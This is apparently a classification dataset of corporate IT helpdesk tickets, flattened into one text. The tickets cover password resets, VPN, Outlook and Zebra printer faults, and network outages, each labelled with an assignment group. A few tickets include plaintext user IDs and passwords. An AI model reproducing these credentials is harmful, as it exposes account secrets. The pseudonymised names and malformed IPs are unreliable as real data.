this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to take screenshot, Description: unable to take screenshot, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2 // reset the password for buyoipdj fceymwtz on other / phone system - interaction desktop, Description: only need password rest for the phone in my office, is assigned to Assignment group: GRP\_7.Ticket with Short description: unable to open a website, Description: unable to open a website, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer configure, Description: 64 bit printer driver installation on new laptop, is assigned to Assignment group: GRP\_19.Ticket with Short description: customers not able to call into the company toll free number. , Description: i just received a call from our sales person badgknqs xwelumfz, in st. louis mo stating that he tried to call in on the toll free number 10 time but received a message that the number was not in service. i checked the number he was dialing and he is dialing the correct number urgent. , is assigned to Assignment group: GRP\_8.Ticket with Short description: password reset from password\_management\_tool, Description: password reset from password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_37 password reset, Description: erp SID\_37 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: issues with outlook // not responding, Description: issues with outlook // not responding, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not working correctly, Description: outlook not working correctly & freezing, is assigned to Assignment group: GRP\_0.Ticket with Short description: msd crm - outlook stops responding, Description: we ensured ipv6 was unchecked and that network connection was good. it was 'limited' initially but went to normal once denghyrt disconnected from vpn.\_x000D\_
checked that outlook works okay in safe mode. reduced offline folder settings to 3 months from 12 months.\_x000D\_
uninstalled and reinstalled crm dynamics (repair did not help).\_x000D\_
denghyrt will im me if he has any issues with tasks or reminders in crm (fdmaluyo.tvecikxn@gmail.com)\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ess password reset, Description: ess password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: issue with outlook and vpn, Description: issue with outlook and vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: ich kann meinen vpn nicht Ã¶ffnen, Description: ich kann meinen vpn nicht Ã¶ffnen, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open records in engineering\_tool., Description: engineering tool is downloading reports in .kpr format and engineering tool crashes. on reinstalling engineering tool, it is crashing too.\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: password reset from password\_management\_tool, Description: password reset from password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: knocked off vpn/ unable to get on na remote, Description: i was knocked off vpn at about 11:55am. now i am unable to log back in via na remote., is assigned to Assignment group: GRP\_0.Ticket with Short description: etime not working, Description: name:esqcuwbg gdcuhzqw
language:
browser:microsoft internet explorer
email:esqcuwbg.gdcuhzqw@gmail.com
customer number:
telephone:
summary:me e-time will not populate the names of my employees
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for hybiaxlk lawptzir using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: job Job\_370 failed in job\_scheduler at: 10/78.93.52.6791:18:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_370 failed in job\_scheduler at: 10/78.93.52.6791:18:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: bgflmyar.xgufkidq@gmail.com, Description: bgflmyar.xgufkidq@gmail.com wanted to check if he can login to hr\_tool on his phone, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp front end missing, Description: i noticed that my erp front end programdnty seems to be gone for some reason. i will need this returned immediately to my desktop, with all prior levels of access set for it. , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access erp , Description: unable to access erp
user contacted for an issue where she's unable to access erp after her id got changed last friday.
i checked in password\_management\_tool and it's not showing any erp accounts under her name. only shows active directory and servers.
please help check with the user at the earliest on this as she needs to access erp SID\_34 erp production.
old user id - coppthsy
new user id - humthyphk
, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to share calendar, Description: unable to share calendar, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not launching, Description: outlook not launching, is assigned to Assignment group: GRP\_0.Ticket with Short description: zebra pinter not working, Description:
name:lzapwbnc yrjekzqv
language:
browser:microsoft internet explorer
email:lzapwbnc.yrjekzqv@gmail.com>
customer number:
telephone:
summary:hi, after an automatci upgrade i cannot print on zebra printer anymore. the error message is runtime error 13
type mismatch.
can you give me support \_, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call // loud noise // gso, Description: blank call // loud noise // gso, is assigned to Assignment group: GRP\_0.Ticket with Short description: there a way to access hr\_tool e-time from mobile device, Description: name:bgflmyar xgufkidq
language:
browser:microsoft internet explorer
email:bgflmyar.xgufkidq@gmail.com
customer number:
telephone
summary:is there a way to access hr\_tool e-time from mobile device?, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open a website, Description: unable to open a website, is assigned to Assignment group: GRP\_0.Ticket with Short description: company center not pulling information from erp, Description: i have several company center accounts that are not pulling information from erp. i checked to make sure they were created correctly and they are. this is effecting channel partners ability to use company center., is assigned to Assignment group: GRP\_21.Ticket with Short description: vpn, Description: vpn : vpn is working., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 locked out., Description: erp SID\_34 locked out., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 and erp SID\_1 password reset, Description: erp SID\_34 and erp SID\_1 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: ethics flash player issue., Description: ethics flash player issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for fylrosuk kedgmiul using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: reset passwords for fylrosuk kedgmiul using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: please to extend the user validation to development environment (SID\_21) still are expired. - user vvamrtryot, Description: please to extend the user validation to development environment (SID\_21) still are expired. - user vvamrtryot, is assigned to Assignment group: GRP\_2.Ticket with Short description: vpn is not working., Description: vpn is not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: us\_plant (plant\_269) - servers not connecting, Description: \_x000D\_
\_x000D\_
received from: dpuifqeo.eglwsfkn@gmail.com\_x000D\_
\_x000D\_
plant servers â€“ HostName\_1259 and lrrsm007 â€“ are not connecting.\_x000D\_
\_x000D\_
i can see gtehdnyu lights on the front of the server, but they are not blinking.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: printer problem / issue information -- zebra label printers, Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? (ex hq50 â€“ wy98 - hp 8150) all usa zebra label printers -- s4m models\_x000D\_
\_x000D\_
â€¢ detailed description of the problem ? the zebra print software will not connect to erp. see attached photos for errors received.\_x000D\_
\_x000D\_
â€¢ type of documents not printing? product labels\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? zebra print\_x000D\_
\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? printer is able to print windows uacyltoe hxgaycze pages so it does not appear to be a pc/network/printer issue\_x000D\_
\_x000D\_
â€¢ if erp system, which system? SID\_34\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily? no\_x000D\_
what printer can it be rerouted too? \_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for kslhobgj cyhvefna on other / interaction desktop, Description: reset the password for kslhobgj cyhvefna on other / interaction desktop, is assigned to Assignment group: GRP\_7.Ticket with Short description: o drive missing, Description: o drive missing, is assigned to Assignment group: GRP\_0.Ticket with Short description: dw0080 unlock in erp SID\_34, Description: dw0080 unlock in erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to reach the collaboration\_platform or crm, Description: \_x000D\_
\_x000D\_
received from: yorgbnpa.ndigthpj@gmail.com\_x000D\_
\_x000D\_
this is the error information:\_x000D\_
\_x000D\_
if that doesn't help, contact your support team and include these technical details:\_x000D\_
correlation id: 0b0dac9d-8010-3000-b1eb-26ad5dd2741f\_x000D\_
date and time: 10/10/2016 5:49:16 am\_x000D\_
url: #/sitepages/home.aspx\_x000D\_
user: yorgbnpa.ndigthpj@gmail.com\_x000D\_
issue type: user not in directory.\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_16.Ticket with Short description: s, Description: s, is assigned to Assignment group: GRP\_0.Ticket with Short description: qlhmawgi sgwipoxn unlock and password reset ipglathybel, Description: ipglathybel qlhmawgi sgwipoxn password reset in erp , is assigned to Assignment group: GRP\_2.Ticket with Short description: network outage:germany, germany site hard down since 8:30 am et on 10/10., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_8:30 am et on 10/10.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_na\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: outlook send/receive progress error, Description: i am unable to send from our ebusiness@company.com email. i had no problems up to last week. see screenshot of error., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: zebra printer is not working after some updates , Description: hello< when i try to print on zebra this error message appair \_x000D\_
please see the screen shot message .\_x000D\_
it seems that the problem is the erp connection .\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_1 account unlock and password reset, Description: erp SID\_1 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit laser02 \pfjwinbg ljtzbdqg, Description: probleme mit laser02 \pfjwinbg ljtzbdqg, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit lasplant\_119 \pfjwinbg ljtzbdqg, Description: probleme mit lasplant\_119 \pfjwinbg ljtzbdqg, is assigned to Assignment group: GRP\_24.Ticket with Short description: archiving\_tool client log file, Description: \_x000D\_
\_x000D\_
received from: qjtbrvfy.avwqmhsp@gmail.com\_x000D\_
\_x000D\_
dear it team,\_x000D\_
\_x000D\_
archiving\_tool archive does not open any inwarehouse\_toolsâ€¦\_x000D\_
\_x000D\_
please repair. , is assigned to Assignment group: GRP\_0.Ticket with Short description: plant\_269 - erp error , Description:
received from: dpuifqeo.eglwsfkn@gmail.com
getting this error when trying to print labels using zebra printers in shipping
[cid:image001.jpg@01d222cc.865bed90]
from: thoyhts brthyrtiv
sent: monday, october 10, 2016 8:02 am
to: dpuifqeo eglwsfkn <dpuifqeo.eglwsfkn@gmail.com>
subject: re: imp
yes because that is a erp error message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: user vvhthyoffc blocked (citrix), Description: user vvbthryhn is blocked for citrix access, please unlock. , is assigned to Assignment group: GRP\_0.Ticket with Short description: rÃ¼cksetzung der passwÃ¶rter fÃ¼r accounts vvwtyeidt, vvftgors, vvnergtubj, vvthygschj, Description: rÃ¼cksetzung der passwÃ¶rter fÃ¼r accounts vvwtyeidt, vvftgors, vvnergtubj, vvthygschj, is assigned to Assignment group: GRP\_0.Ticket with Short description: lean event can not be added., Description: lean event can not be added., is assigned to Assignment group: GRP\_0.Ticket with Short description: scm\_software , Description:
received from: oetlgbfw.bsctrnwp@gmail.com
my supply\_chain\_software scm\_software password has locked
please reset so i can log in
dthyan matheywtyuews
sales manager gl2
oetlgbfw.bsctrnwp@gmail.com<mailto:oetlgbfw.bsctrnwp@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa: dell rack system - bfr78x1 hardware component: warning or critical state detected, Description: iom sensor, chassis and internal power supply has reporting some "non critical" alerts. could you please investigate and advise? , is assigned to Assignment group: GRP\_12.Ticket with Short description: zebra printer issue, Description: label printer not working. error "connection to erp could not be made".\_x000D\_
\_x000D\_
ip's: 51.87.92.3022\_x000D\_
74.78.07.2808\_x000D\_
79.54.90.8526\_x000D\_
06.52.09.1807\_x000D\_
39.58.59.0786\_x000D\_
39.58.59.0781\_x000D\_
\_x000D\_
error in attachment\_x000D\_
labels are not getting printed., is assigned to Assignment group: GRP\_8.Ticket with Short description: zebra printer issue, Description: label printer not working. error "connection to erp could not be made".\_x000D\_
printer name : prtoplant\_168\_x000D\_
\_x000D\_
multiple location are affected. usa, germany also having same issues., is assigned to Assignment group: GRP\_0.Ticket with Short description: submitted filled up engineering\_tool on system, Description: i created engineering\_tool and filled up all datas but when click to submit button it is given error message. please see message detail below. , is assigned to Assignment group: GRP\_25.Ticket with Short description: erp crm - instant timeout, Description: user: kubyhtuaa
issue: when working with erp crm user encounters instant timeouts. please resolve or advise how to resolve., is assigned to Assignment group: GRP\_15.Ticket with Short description: zebra printer issue, Description: label printer not working. error "connection to erp could not be made".\_x000D\_
printer name : prtor0036, prtor0031\_x000D\_
\_x000D\_
labels are not getting printed., is assigned to Assignment group: GRP\_0.Ticket with Short description: set abc code erp 81807016 under me in crm. , Description: set abc code erp 81807016 under me in crm. in erp is ok., is assigned to Assignment group: GRP\_40.Ticket with Short description: i have been locked out of my accounts, Description:
received from: plqbesvo.uopaexic@gmail.com
please help me reset my password
login is (dabhrujir3thy)
password was (ryljar42667)
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/10/2016 06:51:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/10/2016 06:51:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: automatische anmeldung, Description: wenn ich outlook aufrufe, will der rechner gleichzeitig sich auch noch mit collaboration\_platform (?) verbinden.
das lautet : mit ihrem geschÃ¤fts- oder schulkonto anmelden. wenn ich meine emailadresse und mein password eingebe passiert aber nichts.
das stÃ¤ndige einblenden ist sehr stÃ¶rend
bitte um abhilfe
meine telefonnummer ist , is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot access the dob report. i was able to access this before. i need this report for the global busienss, Description: i cannot access the dob report. i was able to access this before. i need this report for the global busienss, is assigned to Assignment group: GRP\_57.Ticket with Short description: printer ag99 - printing ink empty, Description: \_x000D\_
\_x000D\_
received from: przcxbml.vnjdghui@gmail.com\_x000D\_
\_x000D\_
hello support team,\_x000D\_
\_x000D\_
the printer ag99 needs printing ink.\_x000D\_
\_x000D\_
where do i get paper for the printer?\_x000D\_
\_x000D\_
may i ask you to support here.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_28.Ticket with Short description: not able to connect to vpn, Description: not able to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable process break bulk (sto), Description:
received from: rxoynvgi.ntgdsehl@gmail.com
hi it team
kindly please assist as we unable to close break bulk (sto) in ecs system due to nothing in the system.
we have completely bulk for plant\_283 and plant\_101 sto in ecs system but nothing shown.
below attached your reference.
[cid:image001.png@01d2231d.d8c5ef80]
hydstheud mddwwyleh
operation supervisor
company distribution services of asia pte ltd
( asia regional distribution centre)
email : rxoynvgi.ntgdsehl@gmail.com<mailto:rxoynvgi.ntgdsehl@gmail.com>, is assigned to Assignment group: GRP\_18.Ticket with Short description: abholen alte it equipment (2x cad ws nd monitor )\umykjweg jpwrfuhk, Description: abholen alte it equipment (2x cad ws nd monitor )\umykjweg jpwrfuhk, is assigned to Assignment group: GRP\_24.Ticket with Short description: reset password, Description:
received from: rugdyxqh.aqvocmuy@gmail.com
good day all
please assist me in resetting my erp password
user name krugew245
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: bugs in to do list \_operator dashbankrd, Description: please find the attachment for the issue detail., is assigned to Assignment group: GRP\_41.Ticket with Short description: network outage:juarez-dmvpn-1811-rtr01 is down since 4:39 am et on 10/10, Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_ 4:39 am et on 10/10\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_na\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: eu remote fails to connect ... na remote terminates automatically, Description: i'm trying to connect to eu remote, but only get ...\_x000D\_
\_x000D\_
your session is finished. \_x000D\_
logged out successfully.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp password change with password\_management\_tool: error: password change failed. old password is invalidated, Description: hi gso,\_x000D\_
i tried thrgxqsuojr xwbesorfs to renew my password from erp with password\_management\_tool password manager. it doesnt work....\_x000D\_
\_x000D\_
error message:\_x000D\_
error: password change failed. old password is invalidated. please try again using a different password. failed to perform operation [reset]. \_x000D\_
\_x000D\_
please reset my password.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: install hardcopy \ewew8323647 \rhaycqjg arcgonvy, Description: install hardcopy \ewew8323647 \rhaycqjg arcgonvy, is assigned to Assignment group: GRP\_24.Ticket with Short description: can not connect to the hana server via us vpn, Description: i'm using the us vpn as the european one is down fjaqbgnld yukdzwxs. i can't reach the hana box. i can connect to all other machines on the network. i have attached the reporting\_tool failure and a tracert to the box. i have rebooted my machine and broadband., is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: germany ,erkheim-dmvpn-2821-rtr01 is down since 3:31 am et on 10/09., Description: what type of outage: \_\_\_\_\_network \_ x\_\_\_circuit \_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_3:31 am et on 10/09.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_na\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: probleme mit we110 \die druckerwarteschlange wird zurzeit nicht ausgefÃ¼hrt \fdyietau dvsyxwbu, Description: probleme mit we110 \die druckerwarteschlange wird zurzeit nicht ausgefÃ¼hrt \fdyietau dvsyxwbu, is assigned to Assignment group: GRP\_24.Ticket with Short description: paper jam for insert printer , Description: paper jam for insert printer , is assigned to Assignment group: GRP\_31.Ticket with Short description: different problems - please reinstall eagw8111412 with current fy17 company image - upgrade ramdnty to 8gb, Description: different problems - please reinstall eagw8111412 with current fy17 company image - upgrade ramdnty to 8gb, is assigned to Assignment group: GRP\_28.Ticket with Short description: enter and edit the link, Description: vroxskje.bixtmefd@gmail.com need to enter and edit the link:{e248922f-456b-4fdd-8c6d-d94083a94009}&file=apac%20-%20approved%20exception%20list.xlsx&action=default, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn not getting log in, Description: name:vithrkas
language:
browser:microsoft internet explorer
email:xiwegtas.ygrfbzon@gmail.com
customer number:
telephone:
summary:vpn not getting log in, is assigned to Assignment group: GRP\_0.Ticket with Short description: i cant have preview of pictures in explorer. i just see icons., Description: i cant have preview of pictures in explorer. i just see icons.
, is assigned to Assignment group: GRP\_28.Ticket with Short description: host HostName\_1178 is disconnected in vsphere, Description: host HostName\_1178 is disconnected in vsphere, is assigned to Assignment group: GRP\_12.Ticket with Short description: vpn connection issue, Description: \_x000D\_
\_x000D\_
received from: qwvpgayb.amniujsh@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
i cannot access the vpn. when i click on "open new session" nothing happens.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp password & password -- reg, Description:
received from: xdvwitpm.zscxqdho@gmail.com
sir,
my user id is bathylardb & given password is india16. but im unable to login to the erp
request you to reset the password & send the same.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_481 failed in job\_scheduler at: 10/10/2016 03:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_481 failed in job\_scheduler at: 10/10/2016 03:09:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: india pbx awyl8328998 is down since 2:56am et on 10/10/2016., Description: india awyl8328998 is down since 2:56am et on 10/10/2016., is assigned to Assignment group: GRP\_8.Ticket with Short description: add user ashtusis pyhuule (phufsav) to active directory eagcutview, Description: add user ashtusis pyhuule (phufsav) to active directory eagcutview
remove user yhru manyhsu (ayujdm) from this ad.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: germany, germany:gigabitethernet2/0/17 on germany-edksw002-2960-stack-sw002 went down at 10/10/2016 2:25 am et, Description: germany, germany:gigabitethernet2/0/17 on germany-edksw002-2960-stack-sw002 went down at 10/10/2016 2:25 am et, is assigned to Assignment group: GRP\_8.Ticket with Short description: reset password erp SID\_34, Description:
received from: zuxcfonv.nyhpkrbe@gmail.com
gso,
please kindly reset password for zhhtyangq with erp SID\_34 , , is assigned to Assignment group: GRP\_0.Ticket with Short description: reeset password , Description: reeset password , is assigned to Assignment group: GRP\_31.Ticket with Short description: skype lÃ¤d auf dem pc nicht., Description: skype wird nicht vom browser geladen auch nicht nach langer wartezeit , is assigned to Assignment group: GRP\_0.Ticket with Short description: help to change the windows password using password\_management\_tool password tool., Description: help to change the windows password using password\_management\_tool password tool.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock erp SID\_34 , Description: \_x000D\_
\_x000D\_
received from: zuxcfonv.nyhpkrbe@gmail.com\_x000D\_
\_x000D\_
gso,\_x000D\_
\_x000D\_
please unlock the erp SID\_34 for linz ,, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype not work., Description: \_x000D\_
\_x000D\_
received from: yjwivxsh.fcetobrj@gmail.com\_x000D\_
\_x000D\_
dear it team.\_x000D\_
\_x000D\_
my skype not work.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: no vpn access - pls help, Description:
received from: luagmhds.iymwcelx@gmail.com
hi helpdesk,
when trying to access vpn, following message appears.
i am unable to get in by clicking "click here"â€¦.
pls help because i am doing ppm reviews from outside company office with my team today and need access to data from company foldersâ€¦.
thx.
[cid:image001.png@01d222c8.e67ad960]
micheyi gyhus
vice president
luagmhds.iymwcelx@gmail.com<mailto:luagmhds.iymwcelx@gmail.com>
company inc. | www.company.com<
, is assigned to Assignment group: GRP\_0.Ticket with Short description: germany can't connect using vpn (f5 networks), Description: phone email iewnguxv.bufwxeiy@gmail.com
germany can't connect to the local network using the f5-vpn connection.
it worked until saturday, sunday morning we got just the screen ' your logoff was successfully'
i called the phone support, he fixed this,
but now, after logon we can't reach erp and the servers in our plant..
ping failed.
please fix this, our external employees can not work.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1148 failed in job\_scheduler at: 10/10/2016 01:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1148 failed in job\_scheduler at: 10/10/2016 01:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: cant connect to the network.mobile hot spot also not connecting.telecom\_vendor\_3 4g, Description: cant connect to the network.mobile hot spot also not connecting..telecom\_vendor\_3 4g
-hecked the network connection settings.
-restarted the system.tried to connect.getting limited
ph:, is assigned to Assignment group: GRP\_19.Ticket with Short description: EU\_tool, chargenverwaltung, pdv, Description: die systeme EU\_tool, chargenverwaltung, pdv laufen absolut schlecht.\_x000D\_
man kann mit ihnen so" nicht" wirklich arbeiten.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: server HostName\_1233 was down, Description: c:\users\virakv>ping HostName\_1233.company.company.com\_x000D\_
\_x000D\_
pinging HostName\_1233.company.company.com [61.01.52.0260] with 32 bytes of data:\_x000D\_
request timed out.\_x000D\_
request timed out.\_x000D\_
request timed out.\_x000D\_
request timed out.\_x000D\_
\_x000D\_
ping statistics for 61.01.52.0260:\_x000D\_
packets: sent = 4, received = 0, lost = 4 (100% loss),, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to generate sto as per purrqs 4121889522/00001, Description: unable to generate sto as per purrqs 4121889522/00001 , please find the error message as attached file. please help fixing this issue aerp.\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: job Job\_1141 failed in job\_scheduler at: 10/09/2016 23:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1141 failed in job\_scheduler at: 10/09/2016 23:45:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: vpn issue, Description: \_x000D\_
\_x000D\_
received from: ygkzwsud.cvjgkxws@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
my vpn page is not responding, unable to connect.\_x000D\_
\_x000D\_
